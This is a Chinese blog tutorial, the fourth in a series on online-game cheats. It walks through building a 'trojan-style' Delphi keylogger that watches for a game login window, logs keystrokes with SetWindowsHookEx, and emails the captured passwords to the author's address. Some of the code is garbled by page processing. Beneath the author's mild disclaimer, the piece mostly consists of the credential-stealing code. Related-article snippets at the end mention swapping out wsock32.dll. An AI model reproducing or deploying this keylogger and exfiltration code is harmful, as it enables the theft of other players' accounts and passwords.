網路遊戲外掛程式製作之我所見(4)

2021-03-31 08:57:00 字數 2714 閱讀 8198

以前介紹過的動作式,本地修改式外掛程式是真正意義上的外掛程式,而今天本文要介紹的木馬式外掛程式,可能大多像木馬吧,是幫助做外掛程式的人偷取別人遊戲的帳號及密碼的東東。因為網路上有此類外掛程式的存在,所以今天不得不說一下(我個人是非常討厭這類外掛程式的,請看過本文的朋友不要到處亂用此技術,謝謝合作)。要做此類外掛程式的程式實現方法很多(比如hook,鍵盤監視等技術),因為hook技術對程式設計師的技術要求比較高並且在實際應用上需要多帶乙個動態鏈結庫,所以在文中我會以鍵盤監視技術來實現此類木馬的製作。鍵盤監視技術只需要乙個.exe檔案就能實現做到後台鍵盤監視,這個程式用這種技術來實現比較適合。

在做程式之前我們必需要了解一下程式的思路:

1、我們首先知道你想記錄遊戲的登入視窗名稱。

2、判斷登入視窗是否出現。

3、如果登入視窗出現,就記錄鍵盤。

4、當視窗關閉時,把記錄資訊,通過郵件傳送到程式設計者的郵箱。

第一點我就不具體分析了,因為你們比我還要了解你們玩的是什麼遊戲,登入視窗名稱是什麼。從第二點開始,我們就開始這類外掛程式的程式實現之旅:

那麼我們要怎麼樣判斷登入視窗雖否出現呢?其實這個很簡單,我們用findwindow函式就可以很輕鬆的實現了:

hwnd findwindow(

lpctstr lpclassname, // pointer to class name

lpctstr lpwindowname  // pointer to window name

);實際程式實現中,我們要找到'xx'視窗,就用findwindow(nil,'xx')如果當返回值大於0時表示視窗已經出現,那麼我們就可以對鍵盤資訊進行記錄了。

先首我們用setwindowshookex設定監視日誌,而該函式的用法如下:

hhook setwindowshookex(

file://如

果發現視窗後

begin

if (peventmsg(lparam)^.message = wm_keydown) then 

file://消

息等於鍵盤按下

hookkey := hookkey + form1.keyhookresult(peventmsg(lparam)^.paraml, peventmsg(lparam)^.paramh);

file://通

過keyhookresult(自定義的函式,主要功能是轉換截獲的訊息引數為按鍵名稱。我會在文章尾附上轉化函式的)轉換訊息。

if length(hookkey) > 0 then 

file://如

果獲得按鍵名稱

begin

write(hookkeyfile,hookkey);

file://把

按鍵名稱寫入文字檔案

hookkey := '';

end;

end;

end; 

以上就是記錄鍵盤的整個過程,簡單吧,如果記錄完可不要忘記釋放呀,unhookwindowshookex(hhook),而hhook,就是建立setwindowshookex後所返回的控制代碼。

我們已經得到了鍵盤的記錄,那麼現在最後只要把記錄的這些資訊傳送回來,我們就大功造成了。其他傳送這塊並不是很難,只要把記錄從文字檔案裡邊讀出來,用delphi自帶的電子郵件元件發一下就萬事ok了。**如下:

assignfile(readfile,'hook.txt');

file://打

開hook.txt這個文字檔案

reset(readfile);

file://設

為讀取方式

try

while not eof(readfile) do

file://當

沒有讀到檔案尾

begin

readln(readfile,s,j);

file://讀

取檔案行

body:=body+s;

end;

finally

closefile(readfile);

file://關

閉檔案end;

nm**tp1.encodetype:=uumime;

file://設

置編碼nm**tp1.postmessage.attachments.text:='';

file://設

置附件nm**tp1.postmessage.fromaddress:='***@***.***'

; file://設

置源郵件位址

nm**tp1.postmessage.toaddress.text:='***@***.***'

; /設定目標郵件位址

nm**tp1.postmessage.body.text:='密碼'+' '+body;

file://設

置郵件內容

nm**tp1.postmessage.subject:='password';

file://設

置郵件標題

nm**tp1.sendmail;

file://發

送郵件這個程式全部功能已經實現,編編試試~~~對了,我以前寫的類似的作品可以在

.playicq.***

上找得到。

(其實做乙個這樣的東東也不難,基本也是說不上什麼技術可言。希望大看我的文章後不要到處亂應用呀~~~~小生在此有禮了~~~)

作者blog:http://blog.csdn.***/mprogramer/

開始看網路遊戲外掛程式製作類書

一些文章 對你有用 網路遊戲外掛程式編寫初級教程 網路遊戲外掛程式製作之我所見 1 網路遊戲外掛程式製作之我所見 2 網路遊戲外掛程式製作之我所見 3 網路遊戲外掛程式製作之我所見 4 網路遊戲外掛程式製作之我所見 5 網路遊戲外掛程式製作之我所見 5.5 網路遊戲外掛程式製作之我所見 6 遊戲外掛...

網路遊戲外掛程式種類

外掛程式無非如下幾種 依製作難度 1 動作式,所謂動作式,就是指用api發命令給視窗或api控制滑鼠 鍵盤等,使遊戲裡的人物進行流動或者攻擊,最早以前的 石器 外掛程式就是這種方式。2 本地修改式,這種外掛程式跟傳統上的一些遊戲修改器沒有兩樣,做這種外掛程式在程式設計只需要對記憶體位址有一點認識並且...

網路遊戲外掛程式編寫原理

從 工程 選單中選擇 設定 彈出project setting對話方塊,選擇link標籤,在 物件 庫模組 中輸入 ws2 32.lib。6 編譯專案,產生wsock32.dll庫檔案。7 將系統目錄下原wsock32.dll庫檔案拷貝到被外掛程式的目 錄下,並將其改名為wsock.001 再將上面...